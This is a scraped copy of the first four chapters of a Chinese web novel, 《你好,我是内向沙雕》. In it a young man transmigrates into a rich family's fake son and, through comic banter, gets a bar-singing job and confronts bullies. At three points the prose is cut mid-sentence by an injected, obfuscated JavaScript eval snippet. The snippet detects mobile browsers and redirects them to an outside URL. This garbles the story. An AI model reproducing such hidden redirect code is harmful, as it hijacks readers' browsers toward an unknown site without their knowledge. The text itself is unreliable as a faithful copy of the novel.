《你好,我是内向沙雕》 1. 穿了(捉虫) “夏知鱼,你看看你做的那些事,真让人恶心!爸妈对你那么好,你居然勾结外人!就这样还妄想留在夏家?” “在爸妈回来之前,拿上你的行李快走吧……唉,碰瓷吗?你跪下做什么?我是不会心软的!” 乌云隐匿于夜色之中,暴风骤雨如锋利的刀刃一般倾泻而下,灰色的水泥地积起雨水,跪在雨中的夏知鱼倒映其间。 夏知鱼绷着脸,还没来得及看清发生了什么,就被这铺天盖地的谩骂砸的发蒙,只见面前这男生站在门口撑着伞,一脸戒备,居高临下的盯着自己。 “喂,你不会是反悔了吧?” 夏知鱼抬手擦了擦脸上的雨水,他身上只穿了一件薄薄的衬衫,跪在雨中止不住的发抖,他下意识动了动嘴唇:“……第一,我不叫喂……” 雨越下越大,像依萍找他爸要钱那天晚上那么大,朦胧夜色中颇有谁都别想活的感觉。 那男生,也就是夏语年,见对方迟迟没有动作,又不想气氛这么尴尬下去,自觉找话:“呼,这雨下得真大,跟瓢盆大雨……泼倾大瓢……呃,我的意思是,反正这雨下得很大。” 夏知鱼尝试着站起来,附和道:“是啊,我也不求药,你也不发誓,怎么下了这么大的雨?一定是老天爷都看不下去你把我扫地出门的行为了。” “???”这句夏语年听懂了:“你居然说我是渣男!” “没有啊,这是你自己说的。” 夏语年撑着的伞微微倾斜,他察觉到夏知鱼似乎有什么跟之前不一样了,难得正经说:“你不想离开夏家对吧?爸爸怕你闹事停了你的卡,你这样的废物离开夏家根本活不下去,这样吧,想回家,你学声狗叫我就答应你。” 他之前都了解过,夏知鱼这人最注重那些没什么卵用的脸面,让他低下头学声狗叫还不如杀了他,自己这样说只不过是想羞辱他一次让他长长记性,以后该说什么该做什么都心里清楚一点。 这话到了夏知鱼耳朵里可就不一样了,天下竟然还有这等好事?随便汪一声就能留在豪门? 夏语年分析的不错,他手上确实没有钱可以用,他也不清楚自己到底是什么身份,连一会找酒店的钱他都想从夏语年那里白嫖来着,与其在走投无路的时候逼自己一把,还不如得过且过放自己一马。 夏知鱼没有任何犹豫,脱口而出:“汪?这样可以吗?还是要这样?唔汪!?年龄够不够?我还会学老狗来着,你要不要听听?” 夏语年在他第一声狗叫的时候就亚麻呆住了,这跟他了解到的夏知鱼一点都不一样!这人根本就没有羞耻心,他像是一拳打在棉花上,越想越气,气的脸都红了:“你你你……你真是……” “不知羞耻,狼心狗肺,猪狗不如?”夏知鱼骂自己毫无心理负担:“怎么样?够不够狠?要不我再骂两句你听听,我词汇量还是可以的。” 起码“倾盆大雨”和“瓢泼大雨”这两个词是不会记混的。 “堕落!”夏语年憋了半天从牙缝里挤出两个字,然后摔了伞往回走,走了几步,突然想到夏知鱼那又瘦又矮的小体格子,那么沉的行李箱怎么可能提得动,于是怒气冲冲返回去,拉上行李箱就走。 他默许了夏知鱼跟回夏家。 夏知鱼看着这人别扭的行为“噗嗤”一声笑出来,弯下腰捡起被主人故意丢在这里的伞,嘴里还断断续续哼着调往回走:“冷冷的冰雨在脸上胡乱的拍……” 他迈着轻巧的步子登堂入室,第一件事就是换下被淋了个透的衣服,然后回房间冲了个热水澡。 夏知鱼先是打开房间里的灯环顾一圈,然后得出结论,自己应该是倒霉催的穿书了,并且根据现有的线索来看,他穿成了真假少爷里的假少爷。 原主虽然是假少爷,但看得出来家人至少在物质上是没有亏待他的,卧室里的床,桌子,摆件,怎么看都价格不菲。 他看了看手机上的时间,已经是晚上九点了,外面的雨不见小,马路上一个行人都没有,他平静的摸上自己冰凉的脸,半晌长叹了口气。 问:什么是极致的倒霉? 答:他只不过听说有人不小心落水了去凑个热闹,结果人群一推搡,落水的人就加了他一个。 当时连呛了三口水后,迟来的濒死感才让他意识到自己即将结束为期二十年的生命,也许是求生欲太过强烈,他就这么华丽丽的穿书了。 还穿成了那种坏事做尽,每天都阴暗爬行惹人厌烦的假少爷,这和他i人装e,内向沙雕的人设十分不符! 好在以前他就喜欢看点狗血文小说,应对这种突发状况足够镇静。 没什么大不了的,不就是穿书了?只要先震惊一下就好了,没什么大不了的。 他正在找原主的睡衣,还没等套在身上,一阵又急又重的敲门声响起来。 夏知鱼只好给人开门。 敲门的是夏语年,他也已经换好了睡衣,不过是一身花里胡哨的睡袍和抢眼的紫色睡帽,夏知鱼十分怀疑对方的审美。 对方还在打电话,手指竖放在嘴边比了个噤声的手势:“妈妈你和爸爸放心出差,我和夏知鱼在家里一切安好……放心吧,我俩才不打架呢!大哥说他下周回国?好,到时候我和夏知鱼去机场接他。” 夏知鱼挑眉,夏语年应该是在和原主的母亲打电话,看起来是在说夏父夏母快要回来的事情。 电话那头不知道说了什么,夏语年皱起眉,然后把扬声器打开:“妈妈有话要跟你说。” “小鱼?” 夏知鱼应了一声:“我在呢妈妈。” “小鱼,我和你爸爸很快就回去,你大哥也会回来处理这件事,你和语年好好相处……是妈妈对不起你们,但是妈妈爱你们……” 那头又和夏语年聊了两句,然后就挂掉了电话。 夏语年收起手机,目光上下扫视夏知鱼,带了点嫌弃的意味:“今天雨太大,我不赶你走是因为怕出现危险,绝对不是默许你留下来祸害夏家,你做的那些事我可都记着呢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320532|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏知鱼深吸一口气,坚定地说:“好兄弟,我会摸着你的良心发誓,以前那些不好的事都不会再发生了,从今天开始我将不是我,而是钮祜禄·我。” “谁是你好兄弟!麻烦你摆清自己的位置,就你这样的性格,谁愿意和你当兄弟?”夏语年脸上是大写的嫌弃,身体也诚实的向后退,丝毫不在乎眼前人是否因为这句话难堪,他还在叨逼叨沉浸在自己的世界里:“爸妈对你那么好,你看看你是怎么对待他们的?还有你的那些朋友,他们对你……” 磨磨唧唧,简直比村委会的大姨还能说。 夏知鱼向来不会亏待自己,不想吃的东西不吃,不想看的东西不看,不想听的东西干脆一笑而过,谁知道他说的什么。 夏语年念叨完了,一连冷哼好多声:“别在我眼皮子底下耍花样。” 说完就回去他自己的房间,“嘭”地一声关上了门。 应付完夏语年,夏知鱼身心疲惫躺回自己卧室的床上查看原主的为人处事和人际关系。 他打开最常用的聊天软件,里面联系人倒是不少,张家二少,傅家小姐,居然还有王家管家和李家月嫂…… 夏知鱼皱起眉,往下滑聊天框,大多数都是没说过几句话的,原主发过一个表情包,然后喜提红色感叹号,还有一个备注了“田丹”的联系人,收到表情包后没单删,发过长长的小作文,虽然内容是嘲讽原主的。 士可忍孰不可忍,叔能忍婶不能忍! 夏知鱼把单删他的人都拉进黑名单,然后开始看来自田丹的小作文。 说实在的,他长这么大还从来没收到过小作文什么的呢,想想就有点激动! 里面的内容十分淳朴,遣词造句虽不华丽,但每个标点符号都能体现田丹对原主的憎恨,首先介绍了田丹的身份,田氏私生子,以前想巴结原主没巴结上,反倒被原主嘲了几句。 田丹表示自己君子报仇十年不晚,终于等到了可以落井下石,啊不,等到可以为民除害的那一天,然后细数了原主都做过哪些坏事,亏得他能空出时间专门来批判原主,不然夏知鱼还不知道自己以前是什么样的人呢。 里面简单提到原主知道真少爷的存在后逐渐心理扭曲,联系上几家公司的高管,计划搞垮夏氏。 夏知鱼了然,原来夏语年刚才说的“事”是这样,怪不得他那么激动,还要把原主赶出去。 说完原主做过的恶以后,田丹表示他自己对这种行为很是唾弃,他鄙视原主,但是如果原主能放下身段反过来讨好他,他也是可以考虑多给他一些钱,毕竟人家真少爷已经被认回夏家,他被赶出去只是早晚的事。 整段小作文足足三千字,每个字都在用力地嘲讽着夏知鱼现在的处境,看完这些字,他对原主算是有了初步的了解,也有了以后的打算。 看来真的想个办法解决一下现状了,虎落平阳还能被犬欺了? 夏知鱼冷哼一声,反手把田丹的备注改成了“西伯利亚大吗喽”,然后关了手机准备睡觉。 2. 工作(捉虫) 找工作的事刻不容缓,第二天一大早时染翻箱倒柜才找了一身看起来就是正经人的衣服。 下了楼,王妈正好把早饭端上餐桌,笑眼盈盈催促着夏知鱼吃早饭:“小鱼,快来,今天做了你爱吃的皮蛋瘦肉粥,还有没有什么想吃的?王妈去给你做!” 她是夏家的老人了,看着夏知鱼从小长到大,又没有自己的孩子,所以是真心把夏知鱼当成自己孩子照顾。 夏语年正埋着头吸溜吸溜喝得起劲,脸都快塞进碗里,还不忘夸赞:“王妈手艺越来越好了!” 王妈闻言笑得更开心:“就你嘴甜,喜欢就多喝点,厨房里还有呢。” 夏知鱼抬手看了看腕表上的指针,已经八点了,吃早饭再去找工作有些来不及,但是不吃早饭……嘶,好香,这是什么人间美味,不吃早饭对胃不好,没错,嘶,好香……吃早饭来不及做什么来着?算了,管他呢,天大地大,吃饭最大! 经过零点零一秒的思想斗争,夏知鱼低下了他高贵的头颅。 他朝着餐桌飘过去,迫不及待把脸埋进碗里并发出灵魂的喟叹:“哇!好喝!” 王妈已经很久没听夏知鱼夸赞过她的厨艺了,闻言不禁有些惊讶,连让他多喝点都忘了说,瞪着眼睛看着夏知鱼的动作。 上一次这么和谐的吃饭,还是在上一次吧。 连夏语年都忍不住抬头看过去。 两道炽热的目光看得夏知鱼头皮发麻,他慢悠悠放下碗,不确定的摸向自己头顶:“怎么了?我不会年纪轻轻就秃顶了吧?” “……”夏语年。 “……”王妈。 一碗粥很快见底,夏知鱼满意的擦擦嘴,拿上提前准备好的个人简历:“谢谢王妈,对了,我中午不回来吃午饭,晚上的话,应该回来的比较晚,记得给我留门啊。” “好、好的。”王妈点点头,虽然还是有点惊讶,但没表现的太明显。 等到夏知鱼关了门,王妈才叹了口气:“小鱼变了不少啊,像换了个人似的……” 想起昨晚夏知鱼的行为,夏语年默默放下碗勺:“王妈,你说夏知鱼不会是受刺激,脑子出问题了吧?” “……”回答夏语年的是王妈又一阵震耳欲聋的沉默。 …… 昨晚下过雨,地上还有洇湿的痕迹,叶子落在地上被行人踩上一脚,发出清脆的响声,雨后的大地带着一点泥土的清新,夏知鱼步行至今天面试的第一个公司。 他特意了解过夏以德和那个夏家大少爷的公司,有意避开夏家的公司投了简历。 面试结束后夏知鱼知道自己没戏了,没多等就赶忙前往下一家公司,几家公司都让他“回去等通知”以后他才终于明白,看起来是原主这身份问题,各大公司都不敢录用他。 “怎么现在上赶着当牛马都没人愿意用了……”夏知鱼嘀嘀咕咕,抱着剩下的个人简历准备去别的地方看看,刚迈出公司大门就被两个一身黑的保镖拦住了去路。 “嘿!好狗不挡道。”夏知鱼下意识戒备起来。 “抱歉夏先生,我家老板请您叙叙旧。”两个保镖虽然说着“请”,语气也恭敬地不得了,但实际上一人一边架着夏知鱼,动作粗鲁不知轻重,生拖硬拽把人往路边的黑车里带。 “我靠!做什么啊,我不是糊到一百八十线的小爱豆啊,让你家老板换个人潜好伐啦!”夏知鱼挥动着胳膊,全身上下的每个细胞都在抗拒着:“救命啊,人贩子拐卖二十岁儿童啦!” 公司门口到黑车只有几步路,夏知鱼很快就被两人“客客气气”的带到他们老板面前。 一个大腹便便的中年男人坐在后座降下车窗,对上夏知鱼那双茫然的大眼睛时不由得看呆了,他早就听说夏家这个假少爷长的是一等一的好看,早些年没机会接触,现在终于让他找到机会。 “你就是夏知鱼?”胖男人问。 夏知鱼打量着眼前人,确定原主的记忆里找不到这人后果断摇头:“谁?夏知鱼是谁?我不认识啊,你找错了吧?我叫王小明。” “找错了?”胖男人看着夏知鱼百分之一百二的确信,伸手拿起旁边的档案袋,他拧着眉查看了里面的身份信息,还有附带的照片,几经比对后眼中闪过愠怒:“你耍我?” 被发现了夏知鱼也不惊慌,只是不咸不淡的说:“你又不是猴,我耍你也没人看。” 他万万没想到,这人居然还有照片,真是个不折不扣的大边台。 胖男人黏腻的目光扫过夏知鱼的脸,慢慢下移到他的屁股,然后满意的点点头:“不错,确实比那些不入流的小明星好上几百倍,把他给我押进车里。” 夏知鱼又挣扎起来:“哎!光天化日强抢民男?谁给你的胆子?” “呵呵,还装你那夏家不可一世的二少爷呢?”胖男人嗤笑:“现在圈子里谁还不知道夏家找回了真少爷,人家一家人团聚,你又算得了什么东西,谁还管你的死活?还不如放下身段跟了我,我还能亏待你?” “什么圈子?你的呼啦圈?”夏知鱼面露鄙夷之色,他才不管对方是什么总什么阀,路见不平一声怼,该出嘴时就出嘴:“你的尿是哑光的?自己什么德行不知道还敢来泡我?我到要看看你敢做些什么,回头就天凉王破,我叫我爸爸和哥哥弄死你!” 他双手还被两个保镖禁锢着,说这话实在没什么威慑力,好在他的目的只是想暗示对方自己在家里还是很有地位,其他的……就得拼演技了。 像这个油腻男人这样的,一定不能用强硬的手段,夏知鱼眼珠一转,扯起一抹意味深长的笑容。 “啊!”他忽然尖叫一声,呼吸变得急促起来。 陡然发生的变故让两个保镖措手不及,下意识松开了夏知鱼的双手,后者就颤抖着身体跪坐在地上。 他脸上那抹痛苦之色不像是演的,死咬着的嘴唇变得苍白,一声声低低的呜咽从嗓子里挤出来,吓得胖男人大惊失色,周遭的行人也注意到这边的情况纷纷围上来。 “老、老板!?”其中一个保镖问:“要打急救电话吗?” 胖男人咽了咽口水,权衡再三:“不,趁人少,走!” 夏知鱼捂着胸口低头,眼睛可是一直在观察着周边的情况,见胖男人落荒而逃后他才站起身对着那些关心他的陌生人解释:“没事了没事了,刚才那人我不认识,非得拉着我上车,我没办法才装病的,大家都散了吧。” 好心行人们帮夏知鱼捡起掉在地上的简历,看着夏知鱼真没什么大事才放心离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320533|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找不到工作也不能混吃等死,夏知鱼收好剩下的简历沿着马路一直往前走,思考着做回老本行的可能性。 以前大学的时候他在酒吧驻唱兼职,虽然赚的不是很多,但那会他一人吃饱全家不饿,也能攒点小钱,可惜还没等开始享受生活就因为吃瓜而落水了。 思及此处,夏知鱼暗暗发誓,他再也不吃瓜了! 手机上搜索了附近几家酒吧,夏知鱼精挑细选了一家离得近又干净的,然后整理好衣服走了进去。 他以前虽然在酒吧驻唱,但也是晚上到了地方就开始化妆开嗓做准备工作,工作一结束就火速离开,不仅省了不少麻烦还节省时间,所以他根本就没好好进入酒吧玩过一次。 酒吧开在地下一层,没什么自然光,全靠墙壁上还有天花板上彩色的灯撑着才能视人。 不过本来就是蹦迪的酒吧,看不看得清人也不是很重要。 夏知鱼夜视能力差,好不容易摸摸索索下了楼梯台阶进了舞池,抱着个人简历一个没站稳就失去平衡。 意料之中的摔倒没有,反而是跌入了一个坚硬的胸膛。 “抱歉!”夏知鱼赶紧调整站姿撤出几步。 那人没说话,直勾勾盯着夏知鱼的脸,仿佛要给人看出朵花来。 夏知鱼奇怪的摸摸脸,问:“我好看吗?怎么一直盯着我看?” 那人闻言闷声笑了出来:“不错,挺好看。” 夏知鱼也笑:“谢谢夸奖,你也很帅。” 他还有要紧事,没多做停留,又连着道了两声歉才抬步离开,留下一抹仓促但挺拔的修长背影。 “夏总,还进去吗?”那人身边的秘书问。 “我这个弟弟似乎没认出我。”那人摸着下巴还是没收回目光,尽管夏知鱼的背影已经消失在他的视线里。 秘书回答:“您和二少爷从小就分开,没认出来也很正常。” “是么?”他无意识摸索着手指,无声地笑了:“我总觉得他有些不一样了。” 另一边,夏知鱼成功找到酒吧老板,并表示自己想在酒吧当驻唱,酒吧老板姓乔,是个齐耳短发的御姐,一听说有人想来gay吧当驻唱,对方还是个男生,不禁狐疑打量起来。 眼前人一头扎眼的粉头发,衬得本来就白的皮肤十分细腻,一双又大又圆的眼睛溢满了天真无邪,怎么看都不像是想借着当驻唱来找金主的,要知道上一个驻唱就因为这件事当了别人的外室,后来被正室找来砸了场子。 乔老板凭借夏知鱼乖巧的外貌把人脑补成不谙世事的乖乖孩儿,但她怎么也没想到,实际上的夏知鱼是个不折不扣的内向沙雕。 自以为被拒绝了的夏知鱼张了张嘴,却不知道该说些什么,他总觉得自己不擅长说话。 好在乔老板自带滤镜,把夏知鱼的内向当成了刚入世的羞涩,主动说:“我们这确实正在招驻唱,不过也只招有实力的歌手,不如你上台表演一手,让下面的观众来决定你的去留。” 正是白日,酒吧里的客人比晚上少得多,大部分都是坐在沙发上或是吧台喝酒的,三三两两的人聚在一起,谁也没有闲情雅致听歌。 夏知鱼简单思考了一下,然后应下:“好,请借我一把吉他。” 3. 找茬(捉虫) 讲真的,在热闹的酒吧里唱民谣实在不是一个好的选择,起码乔老板和乐队其他乐手是这样想的。 当夏知鱼背着吉他上台时并没有人注意到他,直到灯光师将一束白色的柔光打在他身上,才陆续有人关注他,不过只是关注了他那张清秀的脸。 乔老板站在台下手握话筒:“春光不必趁早冬霜不会迟到,欢迎大家光临乔晚酒吧,感谢大家稀稀拉拉局部地区的掌声,下面有请酒吧新驻唱为大家暖个场……” 台上的夏知鱼调试好吉他和麦,坐在椅子上拨弄了一下琴弦:“一首原创民谣《内向》,送给大家。” 前奏响起,是温温柔柔的吉他旋律,夏知鱼心里数着拍子,垂眸开口:“谁还记得深海里那条蓝色的鱼,谁还记得翻涌的气泡和海中的岛屿……” 他的嗓音干净,轻快,娓娓道来,吸引了一众人的目光。 角落里,男人倚靠在椅子上,手指绕在酒杯的边缘,眼神冷峻,仿佛与周围的环境格格不入,他招招手,示意秘书靠近:“找人调查一下夏知鱼最近一段时间都接触过谁,去过哪里,有什么异常。” 喧闹的酒吧在夏知鱼的歌声中渐渐安静下来,看着台上的人发着光,每一句都唱在他们的心里,音乐敲击着心灵,此刻,每个人的眼里都只有这个少年。 一曲唱罢,场面沉寂下来。 “……我唱的……不好吗?”夏知鱼站起身期待的看着台下的观众。 “哇哦~再来一首!再来一首!” “好听啊!好听!” “再来一首吧!老板在哪,我要这个歌手的全部资料!” 观众们回过神,才想起鼓掌和欢呼。 夏知鱼松了口气,拿着吉他下了台,幕后的乔老板已经打印好合同,她塞进夏知鱼的怀里:“每周来五天,晚上八点到十一点,能接受吗?可以的话看看合同。” 室内光线不好,夏知鱼其实看不清合同上都写了什么,他只好打电话给家里的律师团,并叮嘱那边不要告诉家里人,得到肯定的答复后才签上了自己的名字。 “老板,我明天开始上班可以吗?”夏知鱼说。 乔老板本来是想让他下周开始上班的,不过听夏知鱼这样要求了,当然愿意,谁不想摇钱树快点赚钱呢。 工资谈得不低,乔老板听说夏知鱼着急用钱,就提前一个月预支了工资。 “谢谢乔姐!”夏知鱼走完合同流程欢欢喜喜,刚要走被乔老板叫住。 “着什么急啊,有急事?” 夏知鱼摇摇头。 “那正好,我给你介绍个朋友,感觉你俩挺像的,应该聊得来。”乔老板刚才加了夏知鱼微信,这会推给他一个名片:“他叫余袖一,是名游戏主播……哎正好,他来了。” 余袖一悄无声息接近两个人,正巧听见自己的名字,笑着问:“乔姐?怎么?说我坏话呢?” 乔老板笑笑:“哪能啊,给你介绍个新朋友,夏知鱼。” “我刚刚听见他唱的歌了,很好听。”余袖一朝夏知鱼点点头,算是打过招呼了。 夏知鱼看不清余袖一的长相,只觉得只是一个和自己年龄相仿,长相清秀的男生,最重要的是,他没自己长得高! “你好,听乔姐说你是名游戏主播,我也挺喜欢玩游戏的,有时间一起啊。”夏知鱼露出一个自认为十分友好的笑容。 “好啊。”余袖一答应的爽快。 三个人又简单聊了几句,夏知鱼找了个借口要离开,拿上自己的那份合同快步离开。 作为一个老社恐人,不让话掉在地上是本事,但讲个没完也受不了,毕竟社恐就是社恐,社交恐惧怎么也变不成社交恐怖。 穿过舞池,夏知鱼哼着小调觉得步伐都轻快不少。 “是他吧?他就是那个夏家的假少爷?” “没错,就是他,化成灰我都认识。” 酒吧噪音很多,夏知鱼离他们说不上远,但也不算近,这样的距离他能听见两个人蛐蛐他,怎么想也是故意的了。 为首的绿头发富家少爷走一步扒拉一下头发,骄傲的像只开了屏的大公鸡,站在夏知鱼身边故意说的很大声:“我说这是谁呢,原来是我们夏家二少啊。” 他身边的小弟马上就接话:“田少记错了,现在的夏家二少不在那边坐着呢,这就是个冒牌货。” 夏知鱼自诩不是什么好脾气人,当即上下打量两人,然后缓缓开口:“你谁?” 绿头发少爷眼中闪过一丝恼怒,他指着自己问:“你问我是谁!?夏知鱼,你装什么装!怎么被赶出夏家连我这个朋友都没脸认了?别自卑啊哈哈哈哈!” 小弟适时提醒:“不认我们田丹少爷,夏知鱼你还上哪捞钱去,毕竟被赶出夏家,都来酒吧里当驻唱了。” 田丹?好耳熟的名字。 夏知鱼搜索着记忆,忽然福至心灵:“想起来了,你之前追我被我拒绝了,所以现在来找我不痛快?” 这就是他改了备注的“西伯利亚大吗喽”啊。 田丹更恼,他眼珠一转,不知想到了什么,换上一副笑脸:“哎,小志,怎么说话呢,咱们夏二少怎么能看上我那点钱……我也没别的意思,遇见了就是缘分,夏二少跟我去那边坐坐?有你的熟人在呢。” 夏知鱼顺着田丹手指的方向看,果然在不远处看见了夏语年一脸不善坐在一众狐朋狗友之间盯着他看,两道目光相对,后者鬼使神差点了点头。 “熟人”都发话了,夏知鱼无奈笑笑,跟着田丹过去。 一路上都有人盯着夏知鱼的脸看,有人认出他就是夏家的假少爷,还有人只知道他是刚刚在台上闪闪发光的歌手。 夏知鱼被盯得不自在,加快速度。 那群人桌子上放着不少酒杯,各种颜色的酒混在一起,加了冰块放在夏语年面前。 “来来来,这边坐。”有人给夏知鱼让了条小缝,连两岁孩子都坐不进去的缝隙,目的就是为了羞辱夏知鱼。 “就不了。”夏知鱼面无表情拒绝他:“有事快说,我忙着呢。” 他不吃这一套,不接那句茬,只想快点应付完这些人然后找个地方吃点午饭,他饿的有点胃疼。 “什么事能比和老朋友叙旧重要呢?”田丹假笑堆了满脸,重新坐回原来的位置,手里摇晃的酒快见了底,他朝桌子上的酒瓶扬了一下下巴:“听说你身无分文被赶出夏家?过多了少爷日子,不知道怎么过平民日子?看见那瓶酒了吗?给我倒一杯,我就给你三千。” 夏知鱼挑了挑眉:“我身无分文被赶出夏家?怎么没人通知我?夏语年,有人通知你这件事吗?” 夏语年摇摇头:“目前还没有。” 夏知鱼了然的点点头:“哦,原来我们田少还有未卜先知的功能,厉害厉害,实在佩服。” 田丹怎么也没想到,本来应该跟他沆瀣一气的夏语年居然在这种时候帮夏知鱼说话,他的笑容凝固在脸上,摇晃杯子的动作也停下:“呵,你现在浑身上下,也就嘴硬了吧?” 夏知鱼:“那也比你什么都硬不起来强……有事说事,知道你不喜欢我,跟个塑料袋子似的那么能装,不过没关系,我原谅你了,毕竟屎壳郎也推不动金元宝,能理解。” “你!” 在一声清脆的玻璃碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320534|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂的声音响起之前,夏知鱼微微侧身。 原来是田丹恼羞成怒,甩出手里的酒杯砸向夏知鱼的脑袋,被后者随便闪闪身就躲开了。 黑暗处,目睹全过程的秘书眼看着自家老板脸色沉了下来,作为牛马打工人,必须学会察言观色,他主动问:“老板,需不需要找人出面解决一下?” 夏云祈,也就是夏知鱼名义上的这位哥哥,夏家的掌权人,不悦的摇头:“不用,再看看。” 经过这次的观察,他发现夏知鱼和他以前接触的,还有回国前特意调查到的资料都不一样,这让他很感兴趣,他顺带看看自己这找回来的亲弟弟夏语年会怎么做。 那边田丹一击未中反而引起酒吧里其他人的注意,他不想惊动保安,冷哼一声不说话了。 夏知鱼撇撇嘴:“田少,首先很感谢你的讨厌,但是在对不起,我已经有讨厌的人了,你真排不上号,希望你能找到更讨厌的人,也祝你讨厌的人也讨厌你,不用谢。” “……”田丹被怼的更是没话,今天来的这么多人都是跟着夏知鱼来的,为的就是看他笑话,现在田丹被人这么怼心里要多不爽就多不爽快,报复的心情也越来越强烈,他一定要让夏知鱼刚才的羞辱付出代价! 看完了闹剧,夏语年清了清嗓:“我听了你唱的歌,唱的不错。” 夏知鱼:“谢谢夸奖。” 说者无心,听者有意,其他人以为是这位真正的夏家二少爷故意出言嘲讽,顿时来了劲。 “夏知鱼以前在家享受别人的人生,什么钢琴吉他,提琴古筝,什么都学吧?”夏语年旁边的人说:“要说这人生啊,真是世事无常,有人摇身一变从少爷变成落魄的流浪狗,有人就是天之骄子……听说田少的父亲娶了田少母亲,拿到继承权了,恭喜恭喜!” 踩夏知鱼一脚的同时还不忘捧一下田丹,打得一手好算盘。 一提起这个,田丹立刻就挺直了腰板,这事他时常拿出来炫耀,他妈上位成功,连带着他也成了名正言顺的长子,田丹的父亲立了遗嘱,他顺利拿到了继承权。 他以前就觉得夏知鱼这人一副高高在上的样子让人难以接近,现在好了,夏知鱼被扫地出门,没有钱没有权,没有背景的人在这个圈子里混不下去,田丹看着夏知鱼纤细的腰笑了,在这样的环境下,只要他给点甜头在勾勾手,夏知鱼不想跟他也不行。 黏腻的目光刚一接触夏知鱼,后者就抵触的推了推,这样的眼神让他想起了早上遇见的油腻中年男人,两人的目光简直如出一辙。 “要我说,你就跟了我们田少,还不是要什么伸伸手,我们田少或许心一软就给你买了呢是不是!”那些人丝毫不在意夏知鱼的脸色,还在开着无底线的玩笑,说到最后更过分的词语都蹦出来。 夏知鱼厌恶的扫过每个人的脸,腹诽:玛德,真想干翻这个煞笔! 但他知道,他们人多势众,打起来没有胜算而且还有可能引来保安,到时候没讨着好反而丢了工作就得不偿失了,对付这样的人还是得用技巧。 如何用一句话令普信男破防。 “你妈好手段,不过她不会是最后一个,你也不是。”夏知鱼面无表情说。 田丹的笑在听到这句话后荡然无存,他知道这话是什么意思,因为他早就调查过,他爸之前不仅有小三,还有小四小五,男男女女都快百人出道了……儿子也不止他一个,他知道今天这一切也许将来会有其他人夺走,这一直是他心头病。 其他人都禁了声,偏偏夏知鱼还装作看不出气氛,继续补刀:“咦?你脸色怎么这么不好,白里透红,红里透黑,难道是学了川剧变脸?” 4. 哥哥(捉虫) 正是下午两点出头,往常这个时候的人们没有这么嗨,不过今天夏知鱼热了场子,DJ干脆放了首歌和大家一起蹦起来,墙上的灯晃着不同颜色的光,带动着酒吧里热闹的气氛。 这样的环境下,其他少爷们无情的哄笑一点也不突兀,毕竟都是些酒肉朋友,没谁为田丹抱不平,反而品着好酒看热闹不嫌事大。 夏语年就坐在众人之间,虽然什么也没说,但皱起的眉头代表了一切,他心里跟明镜似的,今天田丹被说的哑口无言,这些人看他笑话,来日如果被怼的是自己呢?他们也一定会这样。 既然如此,没必要的朋友还是少交的好。 他放下酒杯,只留下一句“有事”,就离开了,不顾其他人的脸色,我行我素。 其他人是想看真假少爷互撕的,现在主人公走了,也就一哄而散。 夏知鱼摸了摸肚子,过了饭点,他饿的有点胃疼,脾气不由得暴躁起来。 田丹被人看了笑话,心里窝着火,抄起桌子上各种酒混在一起的酒杯,另一只手趁着夏知鱼没反应过来揪住他的领子,赤红的眼睛死死盯着他水润的唇。 “你很有能耐啊?”田丹想把手里那杯酒灌进夏知鱼的嘴里,这样叭叭能说会道的小嘴,被灌了酒会怎么样呢? 酒精的香味飘进鼻腔,带着水果味到是没那么令人讨厌,不过拿着酒杯的人就不是了。 夏知鱼攥紧拳头,在酒杯贴近自己嘴唇的那一刻挥动:“讨厌的家伙!” 带着青筋的手接触到田丹脸颊时,夏知鱼脑中只有一个字:爽! 田丹被打蒙了,愣在原地满眼的不可置信,连反抗和最擅长的破口大骂都忘了。 “我长了一张乖乖仔的脸你就以为我好欺负?就刚才那些虾兵蟹将,我一个人能包围他们十个。”夏知鱼扬起唇冷笑,顺手接过田丹手里的酒杯,细长的手指捏住田丹的下颌,任对方怎么反抗都岿然不动,强硬的将酒尽数灌了进去,呛的人一阵猛咳…… 然后潇洒离开现场。 他这人有仇当场就报,发现问题,提出问题,胖揍一顿问题。 看完整个过程的夏云祈不禁陷入深思,说好的草包人设,手无缚鸡之力,忧郁懒惰没有优点的假少爷呢?难道是调查结果有问题? …… 短短一个中午发生了很多事,夏知鱼导航着附近的餐厅,心里盘算着崩人设的事该怎么解释,世界本来就有参差,多他一个沙雕怎么了,算了,不解释了,解决不了的事先放到一边,到时候自然就忘了。 当务之急还是吃上一口热乎饭,不然他就要变成第一个因为误了吃午饭的时间导致胃疼死亡的穿书者了。 死不死的先不说,主要是丢人。 不过他还是低估了自己的路痴程度,在第三次经过乔晚酒吧门口后,他决定做一个人类都会做的美好品德——放弃。 正当他退出导航软件点开打车软件时,面前停了一辆他看不出什么牌子的车。 